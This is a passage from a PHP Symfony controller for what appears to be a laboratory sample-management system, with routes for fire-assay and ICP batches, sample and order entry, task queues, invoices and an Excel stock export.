  1470. $qb = $this->em->createQuery('SELECT r, s.analysisStatus FROM App\Entity\RRun r INNER JOIN r.assignedSample s WHERE r.id = :id')->setParameter('id',3000);
  1471. //foreach($inventory as $j){
  1472. // $list[] = $j->getInfo();
  1473. //}
  1474. $response->setContent(json_encode([
  1475. 'data' => $list,
  1476. ]));
  1477. $response->headers->set('Content-Type', 'application/json');
  1478. return $response;
  1479. }
  1480. //=====================================================================================================================================================================================<
  1481. // /**
  1482. // * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1483. // * @Route("/moists", name="moists")
  1484. // * @param Request $request
  1485. // * @return Response $response
  1486. // */
  1487. // public function moists(Request $request)
  1488. // {
  1489. // $moists = $this->getDoctrine()->getRepository(Moists::class)->findBy([
  1490. // 'status' => ['To Do', 'Calculated 1', 'Calculated 2', 'Reverted']
  1491. // ]);
  1492. // return $this->render('cats/moists.html.twig',[
  1493. // 'inventory' => $moists
  1494. // ]);
  1495. // }
  1496. //=====================================================================================================================================================================================<
  1497. /**
  1498. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1499. * @Route("/moistsresult", name="moistsresult")
  1500. * @param Request $request
  1501. * @return Response $response
  1502. */
  1503. public function moistsresult(Request $request)
  1504. {
  1505. return $this->render('cats/moistsresult.html.twig',[]);
  1506. }
  1507. //=====================================================================================================================================================================================<
  1508. /**
  1509. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1510. * @Route("/moists2", name="moists2")
  1511. * @param Request $request
  1512. * @return Response $response
  1513. */
  1514. public function moists2(Request $request)
  1515. {
  1516. return $this->render('cats/moists2.html.twig',[]);
  1517. }
  1518. //=====================================================================================================================================================================================<
  1519. /**
  1520. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1521. * @Route("/moistarchived", name="moistsarchived")
  1522. * @param Request $request
  1523. * @return Response $response
  1524. */
  1525. public function moistsarchive(Request $request)
  1526. {
  1527. return $this->render('cats/moistsarchive.html.twig',[]);
  1528. }
  1529. //=====================================================================================================================================================================================<
  1530. /**
  1531. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1532. * @Route("/fassayprelim", name="fassayprelim")
  1533. * @param Request $request
  1534. * @return Response $response
  1535. */
  1536. public function fassayprelim(Request $request){
  1537. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1538. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1539. // 'status' => ['Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated']
  1540. // ]);
  1541. /* @var QueryBuilder $qb */
  1542. $qb = $this->em->createQueryBuilder();
  1543. $qb->select('a,b,c');
  1544. $qb->from(PRun::class, 'a');
  1545. $qb->leftJoin('a.assignedSample', 'b');
  1546. $qb->leftJoin('b.assignedOrder', 'c');
  1547. $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated')");
  1548. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1549. $qb->andWhere('c.WNJ = TRUE');
  1550. }
  1551. $prelims=$qb->getQuery()->getResult();
  1552. $data = $request->request->all();
  1553. if ( $request->isMethod("post") ) {
  1554. if (null !== $request->get('newfabatch')) {
  1555. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1556. $info2 = $data['chkids'];
  1557. $newbatch = new FABatch();
  1558. $newbatch->setDate(new \DateTime());
  1559. $this->em->persist($newbatch);
  1560. foreach ($info2 as $j) {
  1561. $icprundummy = $this->getDoctrine()->getRepository(PRun::class)->findOneBy([
  1562. 'id' => $j
  1563. ]);
  1564. $icprundummy->setAssignedFABatch($newbatch);
  1565. $this->em->persist($icprundummy);
  1566. }
  1567. $this->em->flush();
  1568. return $this->redirect($this->generateUrl('fassayprelim'));
  1569. }
  1570. }
  1571. }
  1572. return $this->render('cats/fassayprelim.html.twig',[
  1573. 'pruns' => $prelims,
  1574. 'fabatches' => $fabatches
  1575. ]);
  1576. }
  1577. //=====================================================================================================================================================================================<
  1578. /**
  1579. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1580. * @Route("/fassayreg/{type}", name="fassayreg")
  1581. * @param string $type
  1582. * @param Request $request
  1583. * @return Response $response
  1584. */
  1585. public function fassayreg(string $type, Request $request)
  1586. {
  1587. // /* @var QueryBuilder $qb */
  1588. // $qb = $this->em->createQueryBuilder();
  1589. // $qb->select('a,b,c');
  1590. // $qb->from(RRun::class, 'a');
  1591. // $qb->leftJoin('a.assignedSample', 'b');
  1592. // $qb->leftJoin('b.assignedOrder', 'c');
  1593. // $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'CUP Q', 'DIS Q', 'Completed')");
  1594. // if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1595. // $qb->andWhere('c.WNJ = TRUE');
  1596. // }
  1597. // $rruns = ($qb->getQuery()->getResult());
  1598. $batches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy([],['id' => 'DESC'],60);
  1599. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1600. $data = $request->request->all();
  1601. if ( $request->isMethod("post") ) {
  1602. if (null !== $request->get('newbatch')) {
  1603. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1604. $info2 = $data['chkids'];
  1605. $newbatch = new DISQBatch();
  1606. $newbatch->setDate(new \DateTime());
  1607. $newbatch->setStatus('');
  1608. $this->em->persist($newbatch);
  1609. foreach ($info2 as $j) {
  1610. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1611. 'id' => $j
  1612. ]);
  1613. if ($icprundummy->getStatus()=='DIS Q') {
  1614. $icprundummy->setAssignedDISQBatch($newbatch);
  1615. $this->em->persist($icprundummy);
  1616. }
  1617. }
  1618. $this->em->flush();
  1619. return $this->redirect($this->generateUrl('fassayreg'));
  1620. }
  1621. }
  1622. if (null !== $request->get('unassignbatch')) {
  1623. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1624. $info2 = $data['chkids'];
  1625. foreach ($info2 as $j) {
  1626. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1627. 'id' => $j
  1628. ]);
  1629. $icprundummy->setAssignedDISQBatch(NULL);
  1630. $this->em->persist($icprundummy);
  1631. }
  1632. $this->em->flush();
  1633. return $this->redirect($this->generateUrl('fassayreg'));
  1634. }
  1635. }
  1636. return $this->redirect($this->generateUrl('fassayreg'));
  1637. }
  1638. return $this->render('cats/fassayreg.html.twig',[
  1639. // 'rruns' => $rruns,
  1640. 'batches' => $batches,
  1641. 'fabatches' => $fabatches
  1642. ]);
  1643. }
  1644. //=====================================================================================================================================================================================<
  1645. /**
  1646. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1647. * @Route("/icp", name="icp")
  1648. * @param Request $request
  1649. * @return Response $response
  1650. */
  1651. public function icp(Request $request)
  1652. {
  1653. $batches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy([],['id' => 'DESC'],60);
  1654. return $this->render('cats/icp.html.twig',[
  1655. 'batches' => $batches,
  1656. ]);
  1657. }
  1658. //=====================================================================================================================================================================================<
  1659. /**
  1660. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1661. * @Route("/icprecent", name="icprecent")
  1662. * @param Request $request
  1663. * @return Response $response
  1664. */
  1665. public function icprecent(Request $request)
  1666. {
  1667. return $this->render('cats/icprecent.html.twig',[
  1668. 'icpruns' => []
  1669. ]);
  1670. }
  1671. //=====================================================================================================================================================================================<
  1672. /**
  1673. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1674. * @Route("/icpall", name="icpall")
  1675. * @param Request $request
  1676. * @return Response $response
  1677. */
  1678. public function icpall(Request $request)
  1679. {
  1680. return $this->render('cats/icpall.html.twig',[
  1681. 'icpruns' => []
  1682. ]);
  1683. }
  1684. //=====================================================================================================================================================================================<
  1685. /**
  1686. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1687. * @Route("/fassayregarchive", name="fassayregarchive")
  1688. * @param Request $request
  1689. * @return Response $response
  1690. */
  1691. public function fassayregarchive(Request $request)
  1692. {
  1693. //$rruns = $this->getDoctrine()->getRepository(RRUN::class)->findBy([
  1694. // 'status' => ['Archived']
  1695. //]);
  1696. return $this->render('cats/fassayregarchive.html.twig',[
  1697. //'rruns' => $rruns
  1698. ]);
  1699. }
  1700. //=====================================================================================================================================================================================<
  1701. /**
  1702. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1703. * @Route("/fassayregrecent", name="fassayregrecent")
  1704. * @param Request $request
  1705. * @return Response $response
  1706. */
  1707. public function fassayregrecent(Request $request)
  1708. {
  1709. return $this->render('cats/fassayregrecent.html.twig',[]);
  1710. }
  1711. //=====================================================================================================================================================================================<
  1712. /**
  1713. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1714. * @Route("/fassaypreliminaryarchive", name="fassaypreliminaryarchive")
  1715. * @param Request $request
  1716. * @return Response $response
  1717. */
  1718. public function fassaypreliminaryarchive(Request $request)
  1719. {
  1720. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1721. // 'status' => ['Archived']
  1722. // ]);
  1723. return $this->render('cats/fassayprelimarchive.html.twig',[]);
  1724. }
  1725. //=====================================================================================================================================================================================<
  1726. /**
  1727. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1728. * @param Request $request
  1729. * @Route("cats/addCatSamples", name="addCatSamples")
  1730. * @return Response $response
  1731. */
  1732. public function addCatSamples(Request $request, ExportCountryRelationService $relationService)
  1733. {
  1734. if ( $request->isMethod("post") ) {
  1735. $info = $request->get('entry');
  1736. $samplenames = [];
  1737. $date = $request->get('date');
  1738. foreach($info as $j){
  1739. $entry = new Inventory();
  1740. $entry->setDateofreceipt(new \DateTime($date));
  1741. $entry->setSampleType($j['type']);
  1742. $entry->setSampleSubType($j['subtype']);
  1743. $entry->setSampleName($j['name']);
  1744. $entry->setAddedtocatalogue(false);
  1745. array_push($samplenames, $j['name']);
  1746. $entry->setPriority('Normal');
  1747. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1748. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1749. }
  1750. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1751. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1752. }
  1753. if(!empty($j['dueDate'])) {
  1754. $entry->setDuedate(new \DateTime($j['dueDate']));
  1755. }
  1756. $entry->setMillStatus("Original");
  1757. $entry->setAnalysisStatus("None");
  1758. $entry->setXrfStatus("To Add");
  1759. $entry->setCountry($j['country']);
  1760. $entry->setExportno($j['export']);
  1761. $entry->setReady(false);
  1762. $this->em->persist($entry);
  1763. }
  1764. $log = new Log();
  1765. $log->setDate(new \DateTime());
  1766. $log->setType('Added Samples');
  1767. $log->setText('New samples were added');
  1768. $log->setAssignedUser($this->getUser());
  1769. $log->setText2(implode(",", $samplenames));
  1770. $this->em->persist($log);
  1771. $this->em->flush();
  1772. return $this->redirect($this->generateUrl('inventory'));
  1773. }
  1774. $relationViewData = $relationService->getViewData();
  1775. return $this->render('cats/addsamples.html.twig', [
  1776. 'exportCountryLookup' => $relationViewData['lookup'],
  1777. ]);
  1778. }
  1779. //=====================================================================================================================================================================================<
  1780. /**
  1781. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1782. * @param Request $request
  1783. * @Route("cats/addCatOrders", name="addCatOrders")
  1784. * @return Response $response
  1785. */
  1786. public function addCatOrders(Request $request)
  1787. {
  1788. if ( $request->isMethod("post") ) {
  1789. $info = $request->get('entry');
  1790. $date = $request->get('date');
  1791. $entry = new Orders();
  1792. $entry->setDateofreceipt(new \DateTime($info['dateofreceipt']));
  1793. $entry->setOrderno(strtoupper($info['orderno']));
  1794. $entry->setSender($info['sender']);
  1795. $entry->setMReceive((float)$info['mreceive']);
  1796. $entry->setClient($info['client']);
  1797. $entry->setStatus('Open');
  1798. $entry->setWaybill($info['wb']);
  1799. $entry->setCourrier($info['courrier']);
  1800. $this->em->persist($entry);
  1801. $this->em->flush();
  1802. return $this->redirect($this->generateUrl('orders'));
  1803. }
  1804. return $this->render('cats/addorders.html.twig');
  1805. }
  1806. //=====================================================================================================================================================================================<
  1807. /**
  1808. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1809. * @param Request $request
  1810. * @Route("/incomingorders", name="incomingorders")
  1811. * @return Response $response
  1812. */
  1813. public function incomingorders(Request $request)
  1814. {
  1815. if ( $request->isMethod("post") ) {
  1816. $info = $request->get('entry');
  1817. $date = $request->get('date');
  1818. $entry = new Orders();
  1819. $entry->setDateofreceipt(new \DateTime($date));
  1820. $entry->setOrderno(strtoupper($info['orderno']));
  1821. $entry->setSender($info['sender']);
  1822. $entry->setClient($info['client']);
  1823. $entry->setStatus('Open');
  1824. $entry->setWaybill($info['wb']);
  1825. $entry->setCourrier($info['courrier']);
  1826. $this->em->persist($entry);
  1827. $this->em->flush();
  1828. return $this->redirect($this->generateUrl('orders'));
  1829. }
  1830. $orders = $this->em->getRepository(ClientParcel::class)->findAll();
  1831. return $this->render('cats/incomingorders.html.twig',[
  1832. 'orders' => $orders
  1833. ]);
  1834. }
  1835. //=====================================================================================================================================================================================<
  1836. /**
  1837. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1838. * @param Request $request
  1839. * @Route("/orders", name="orders")
  1840. * @return Response $response
  1841. */
  1842. public function orders(Request $request)
  1843. {
  1844. /* @var QueryBuilder $qb */
  1845. $qb = $this->em->createQueryBuilder();
  1846. $qb->select('a');
  1847. $qb->from(Orders::class, 'a');
  1848. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1849. $qb->where('a.WNJ = TRUE');
  1850. }
  1851. $orders = ($qb->getQuery()->getResult());
  1852. if ( $request->isMethod("post") ) {
  1853. if (null !== $request->get('edit')){
  1854. $info = $request->get('ids');
  1855. $editorders = $this->getDoctrine()->getRepository(Orders::class)->findby([
  1856. 'id' => $info
  1857. ]);
  1858. return $this->render('cats/editorders.html.twig', [
  1859. 'orders' => $editorders
  1860. ]);
  1861. }
  1862. if (null !== $request->get('editconfirm')){
  1863. $info = $request->get('entry');
  1864. foreach($info as $j) {
  1865. $date = $request->get('date');
  1866. $entry = $this->getDoctrine()->getRepository(Orders::class)->find($j['id']);
  1867. /** @var Orders $entry */
  1868. $entry->setDateofreceipt(new \DateTime($j['dateofreceipt']));
  1869. $entry->setOrderno($j['orderno']);
  1870. $entry->setMReceive((float)$j['mreceive']);
  1871. $entry->setSender($j['sender']);
  1872. $entry->setClient($j['client']);
  1873. $entry->setWaybill($j['wb']);
  1874. if ($j['mdisposed'] > 0){
  1875. $entry->setMDisposed((float)$j['mdisposed']);
  1876. $entry->setDisposeDate(new \DateTime($j['disposedate']));
  1877. }
  1878. $entry->setCourrier($j['courrier']);
  1879. $this->em->persist($entry);
  1880. }
  1881. $this->em->flush();
  1882. return $this->redirect($this->generateUrl('orders'));
  1883. }
  1884. }
  1885. return $this->render('cats/orders.html.twig',[
  1886. 'orders' => $orders
  1887. ]);
  1888. }
  1889. //=====================================================================================================================================================================================<
  1890. /**
  1891. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1892. * @param Request $request
  1893. * @Route("/tasks", name="tasks")
  1894. * @return Response $response
  1895. */
  1896. public function tasks(Request $request)
  1897. {
  1898. /** @var Inventory $inv */
  1899. $inv = $this->getDoctrine()->getRepository(Inventory::class)->findAll();
  1900. /** @var Orders $orders */
  1901. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1902. /** @var Inventory $priority */
  1903. $priority = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1904. 'priority' => "High",
  1905. 'analysisStatus' => ["In Progress","To Start"]
  1906. ]);
  1907. /** @var Inventory $milllist */
  1908. $milllist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1909. 'millStatus' => "To Mill"
  1910. ]);
  1911. /** @var Inventory $milllist */
  1912. $openlist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1913. 'analysisStatus' => ["In Progress","To Start"]
  1914. ]);
  1915. /** @var PRun $prunweighq */
  1916. $prunweighq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1917. 'status' => "Weigh Q"
  1918. ]);
  1919. /** @var RRun $rrunweighq */
  1920. $rrunweighq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1921. 'status' => "Weigh Q"
  1922. ]);
  1923. /** @var PRun $prunfaq */
  1924. $prunfaq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1925. 'status' => "FA Q"
  1926. ]);
  1927. /** @var RRun $rrunfaq */
  1928. $rrunfaq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1929. 'status' => "FA Q"
  1930. ]);
  1931. /** @var RRun $rruncupq */
  1932. $rruncupq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1933. 'status' => "CUP Q"
  1934. ]);
  1935. /** @var RRun $rrundisq */
  1936. $rrundisq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1937. 'status' => "DIS Q"
  1938. ]);
  1939. /** @var Inventory $xrfq */
  1940. $xrfq = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1941. 'xrfStatus' => "To Add"
  1942. ]);
  1943. return $this->render('cats/tasks.html.twig',[
  1944. 'orders' => $orders,
  1945. 'inventory' => $inv,
  1946. 'priority' => $priority,
  1947. 'milllist' => $milllist,
  1948. 'openlist' => $openlist,
  1949. 'prunweighq' => $prunweighq,
  1950. 'rrunweighq' => $rrunweighq,
  1951. 'rrunfaq' => $rrunfaq,
  1952. 'prunfaq' => $prunfaq,
  1953. 'rruncupq' => $rruncupq,
  1954. 'rrundisq' => $rrundisq,
  1955. 'xrfq' => $xrfq
  1956. ]);
  1957. }
  1958. //=====================================================================================================================================================================================<
  1959. /**
  1960. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1961. * @param Request $request
  1962. * @Route("/log", name="log")
  1963. * @return Response $response
  1964. */
  1965. public function log(Request $request)
  1966. {
  1967. /** @var Log $inv */
  1968. //$log = $this->getDoctrine()->getRepository(Log::class)->findAll();
  1969. return $this->render('cats/log.html.twig',[
  1970. //'log' => $log
  1971. ]);
  1972. }
  1973. //=====================================================================================================================================================================================<
  1974. /**
  1975. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1976. * @param Request $request
  1977. * @Route("/cp", name="cp")
  1978. * @return Response $response
  1979. */
  1980. public function cp(Request $request)
  1981. {
  1982. /** @var Inventory $samples */
  1983. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1984. 'analysisStatus' => ['In Progress', 'Flagged']
  1985. ],[
  1986. 'id' => 'ASC'
  1987. ]);
  1988. //$qb = $this->em->createQuery("SELECT a FROM App\Entity\Inventory a LEFT OUTER JOIN a.rruns b LEFT OUTER JOIN b.icpruns c WHERE (a.analysisStatus = 'In Progress' and c.icppt IS NOT NULL) GROUP BY a.id ORDER By a.id DESC");
  1989. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1990. /* @var QueryBuilder $qb */
  1991. $qb = $this->em->createQueryBuilder();
  1992. $qb->select('a');
  1993. $qb->from(Inventory::class, 'a');
  1994. $qb->leftJoin('a.assignedOrder', 'b');
  1995. $qb->leftJoin('a.rruns', 'c');
  1996. $qb->leftJoin('c.icpruns', 'd');
  1997. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  1998. $qb->andWhere('d.icppt IS NOT NULL');
  1999. $qb->andWhere('b.WNJ = TRUE');
  2000. //$qb->andWhere('d.icppt IS NOT NULL');
  2001. $samples = ($qb->getQuery()->getResult());
  2002. } else {
  2003. /* @var QueryBuilder $qb */
  2004. $qb = $this->em->createQueryBuilder();
  2005. $qb->select('a');
  2006. $qb->from(Inventory::class, 'a');
  2007. $qb->leftJoin('a.assignedOrder', 'b');
  2008. $qb->leftJoin('a.rruns', 'c');
  2009. $qb->leftJoin('c.icpruns', 'd');
  2010. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  2011. $qb->andWhere('d.icppt IS NOT NULL');
  2012. //$qb->andWhere('d.icppt IS NOT NULL');
  2013. $samples = ($qb->getQuery()->getResult());
  2014. }
  2015. if ( $request->isMethod("post") ) {
  2016. $data = $request->request->all();
  2017. $finalizationType = $this->getFinalizationType($request);
  2018. if ($finalizationType !== null) {
  2019. if (array_key_exists('chkids',$data)) {
  2020. foreach ($data['chkids'] as $j) {
  2021. /** @var Inventory $sample */
  2022. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2023. 'id' => $j
  2024. ]);
  2025. foreach ($sample->getRruns() as $k) {
  2026. /** @var RRun $k */
  2027. $k->setStatus('Archived');
  2028. $this->em->persist($k);
  2029. foreach ($k->getIcpruns() as $l) {
  2030. /** @var RRun $l */
  2031. $l->setStatus('Archived');
  2032. $this->em->persist($l);
  2033. }
  2034. }
  2035. $sample->setDateFinished(new \DateTime());
  2036. $sample->setAnalysisStatus('Completed');
  2037. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2038. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2039. $setIcprhValue = match ($finalizationType) {
  2040. 'finalize' => $data['entry'][$j]['avgrh'],
  2041. 'finalizemaxrh' => $data['entry'][$j]['maxrh'],
  2042. 'finalizemaxrhcustom' => $data['entry'][$j]['maxrh'] * self::FINALIZE_MAX_RH_CUSTOM_BUTTON_VALUE,
  2043. 'finalizeavgrhcustom' => $data['entry'][$j]['avgrh'] * self::FINALIZE_AVG_RH_CUSTOM_BUTTON_VALUE,
  2044. default => null,
  2045. };
  2046. $sample->setIcprh($setIcprhValue);
  2047. $this->em->persist($sample);
  2048. $this->em->flush();
  2049. }
  2050. return $this->redirect($this->generateUrl('cp'));
  2051. }
  2052. }
  2053. if (null !== $request->get('flag')){
  2054. $info = $request->get('entry');
  2055. foreach($data['chkids'] as $j){
  2056. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2057. 'id' => $j
  2058. ]);
  2059. $sample->setAnalysisStatus('Flagged');
  2060. $this->em->persist($sample);
  2061. $this->em->flush();
  2062. }
  2063. return $this->redirect($this->generateUrl('cp'));
  2064. }
  2065. }
  2066. return $this->render('cats/cp.html.twig',[
  2067. 'inventory' => $samples,
  2068. 'finalizemaxrhcustomButtonValue' => self::FINALIZE_MAX_RH_CUSTOM_BUTTON_VALUE,
  2069. 'finalizeavgrhcustomButtonValue' => self::FINALIZE_AVG_RH_CUSTOM_BUTTON_VALUE,
  2070. ]);
  2071. }
  2072. //=====================================================================================================================================================================================<
  2073. /**
  2074. * @Security("is_granted('ROLE_INVOICES') or is_granted('ROLE_ADMINISTRATORIUS')")
  2075. * @param Request $request
  2076. * @Route("/invoices", name="invoices")
  2077. * @return Response $response
  2078. */
  2079. public function invoices(Request $request)
  2080. {
  2081. $qb = $this->em->createQueryBuilder();
  2082. $qb->setCacheable(false);
  2083. $qb->select('i');
  2084. $qb->from(Invoice::class,'i');
  2085. $qb->leftJoin('i.orders', 'o');
  2086. $qb->leftJoin('o.samples', 's');
  2087. $qb->where("i.status = 'Open'");
  2088. $invoices = $qb->getQuery()->getResult();
  2089. $qb = $this->em->createQueryBuilder();
  2090. $qb->setCacheable(false);
  2091. $qb->select('i');
  2092. $qb->from(Invoice::class, 'i');
  2093. $qb->leftJoin('i.orders', 'o');
  2094. $qb->leftJoin('o.samples', 's');
  2095. $qb->where("i.status = 'Closed'");
  2096. $allClosedInvoices = $qb->getQuery()->getResult();
  2097. // Create a DateTime object for one year ago
  2098. $oneYearAgo = new \DateTime();
  2099. $oneYearAgo->modify('-1 year');
  2100. // Filter closed invoices in PHP to keep only those with orders not older than 1 year
  2101. $closedinvoices = array_filter($allClosedInvoices, function($invoice) use ($oneYearAgo) {
  2102. /** @var Invoice $invoice */
  2103. $orders = $invoice->getOrders();
  2104. // If there are no orders, keep the invoice by default
  2105. if (count($orders) === 0) {
  2106. return true;
  2107. }
  2108. // Check if at least one order is newer than one year ago
  2109. foreach ($orders as $order) {
  2110. if ($order->getDateOfReceipt() >= $oneYearAgo) {
  2111. return true;
  2112. }
  2113. }
  2114. return false;
  2115. });
  2116. if ($request->isMethod("post")) {
  2117. $data = $request->request->all();
  2118. if (null !== $request->get('newinvoice')){
  2119. $invoice = new Invoice();
  2120. $invoice->setInvoiceno($data['entry']['invoiceno']);
  2121. $invoice->setAmount((float)$data['entry']['amount']);
  2122. $invoice->setCurrency($data['entry']['currency']);
  2123. $invoice->setRecipient($data['entry']['recipient']);
  2124. $invoice->setStatus('Open');
  2125. $this->em->persist($invoice);
  2126. $this->em->flush();
  2127. return $this->redirect($this->generateUrl('invoices'));
  2128. }
  2129. if (null !== $request->get('editamount')){
  2130. $invoiceid = $data['invoiceid'];
  2131. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2132. 'id' => $invoiceid
  2133. ]);
  2134. $invoice->setInvoiceno($data['invoiceno']);
  2135. $invoice->setAmount((float)$data['amount']);
  2136. $invoice->setCurrency($data['currency']);
  2137. $invoice->setRecipient($data['recipient']);
  2138. $this->em->persist($invoice);
  2139. $this->em->flush();
  2140. return $this->redirect($this->generateUrl('invoices'));
  2141. }
  2142. if (null !== $request->get('unassignorder')){
  2143. $temporder = $this->getDoctrine()->getRepository(Orders::class)->findOneBy([
  2144. 'id' => $data['orderid']
  2145. ]);
  2146. $temporder->setAssignedInvoice(Null);
  2147. $this->em->persist($temporder);
  2148. $this->em->flush();
  2149. return new Response("success");
  2150. }
  2151. if (null !== $request->get('deleteinvoice')){
  2152. $invoiceid = $data['invoiceid'];
  2153. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2154. 'id' => $invoiceid
  2155. ]);
  2156. $ordersdel = $this->getDoctrine()->getRepository(Orders::class)->findBy([
  2157. 'assignedInvoice' => $invoice
  2158. ]);
  2159. foreach ($ordersdel as $j){
  2160. $j->setAssignedInvoice(NULL);
  2161. $this->em->persist($j);
  2162. $this->em->flush();
  2163. }
  2164. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2165. 'id' => $invoiceid
  2166. ]);
  2167. $this->em->remove($invoice);
  2168. $this->em->flush();
  2169. return $this->redirect($this->generateUrl('invoices'));
  2170. }
  2171. }
  2172. if (null !== $request->get('closeinvoice')){
  2173. $invoiceid = $data['invoiceid'];
  2174. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2175. 'id' => $invoiceid
  2176. ]);
  2177. $invoice->setStatus('Closed');
  2178. $this->em->persist($invoice);
  2179. $this->em->flush();
  2180. return $this->redirect($this->generateUrl('invoices'));
  2181. }
  2182. return $this->render('cats/invoices.html.twig', [
  2183. 'invoices' => $invoices,
  2184. 'closedinvoices' => array_reverse($closedinvoices)
  2185. ]);
  2186. }
  2187. //=====================================================================================================================================================================================<
  2188. /**
  2189. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2190. * @param Request $request
  2191. * @Route("/stock/download", name="stock_download")
  2192. * @return Response $response
  2193. */
  2194. public function downloadXlsx(Request $request)
  2195. {
  2196. $type = $request->query->get('type'); // Get type
  2197. $stockIds = $request->query->get('stockIds', []); // Get selected sample IDs
  2198. $fromDate = $request->query->get('fromDate'); // Get from-date filter
  2199. $toDate = $request->query->get('toDate'); // Get to-date filter
  2200. // Decode JSON string into array if necessary
  2201. if (is_string($stockIds)) {
  2202. $stockIds = json_decode($stockIds, true);
  2203. }
  2204. $currentDate = (new \DateTime())->format('ymdHis');
  2205. $filename = sprintf('%s_stock_%s.xlsx', $currentDate, strtolower($type)); // Generate filename
  2206. // Create a new Spreadsheet
  2207. $spreadsheet = new Spreadsheet();
  2208. $sheet = $spreadsheet->getActiveSheet();
  2209. // Add headers
  2210. $headers = ['ID', 'Stock ID', 'Stock Name', 'Supplier', 'CAS', 'Stock Type', 'Action Type', 'Quantity', 'Remaining Quantity', 'Date'];
  2211. $sheet->fromArray($headers, null, 'A1', true);
  2212. // Fetch data from StockManagement repository
  2213. $stockManagements = $this->getDoctrine()->getRepository(StockManagement::class)->findAllForXls($type, $stockIds, $fromDate, $toDate);
  2214. // Populate data rows
  2215. $row = 2; // Start after headers
  2216. foreach ($stockManagements as $entry) {
  2217. $sheet->fromArray([
  2218. $entry->getId(),
  2219. $entry->getStockId(),
  2220. $entry->getStockName(),
  2221. $entry->getSupplier(),
  2222. $entry->getComment(),
  2223. $entry->getStockType(),
  2224. $entry->getActionType(),
  2225. $entry->getQuantity(),
  2226. $entry->getTotalQuantity(),
  2227. $entry->getDate()->format('Y-m-d H:i:s'),
  2228. ], null, 'A' . $row, true);
  2229. $row++;
  2230. }
  2231. // Generate the Excel file
  2232. $writer = new Xlsx($spreadsheet);
  2233. // Prepare the response
  2234. $response = new StreamedResponse(function () use ($writer) {
  2235. $writer->save('php://output');
  2236. });
  2237. // Set headers for Excel download
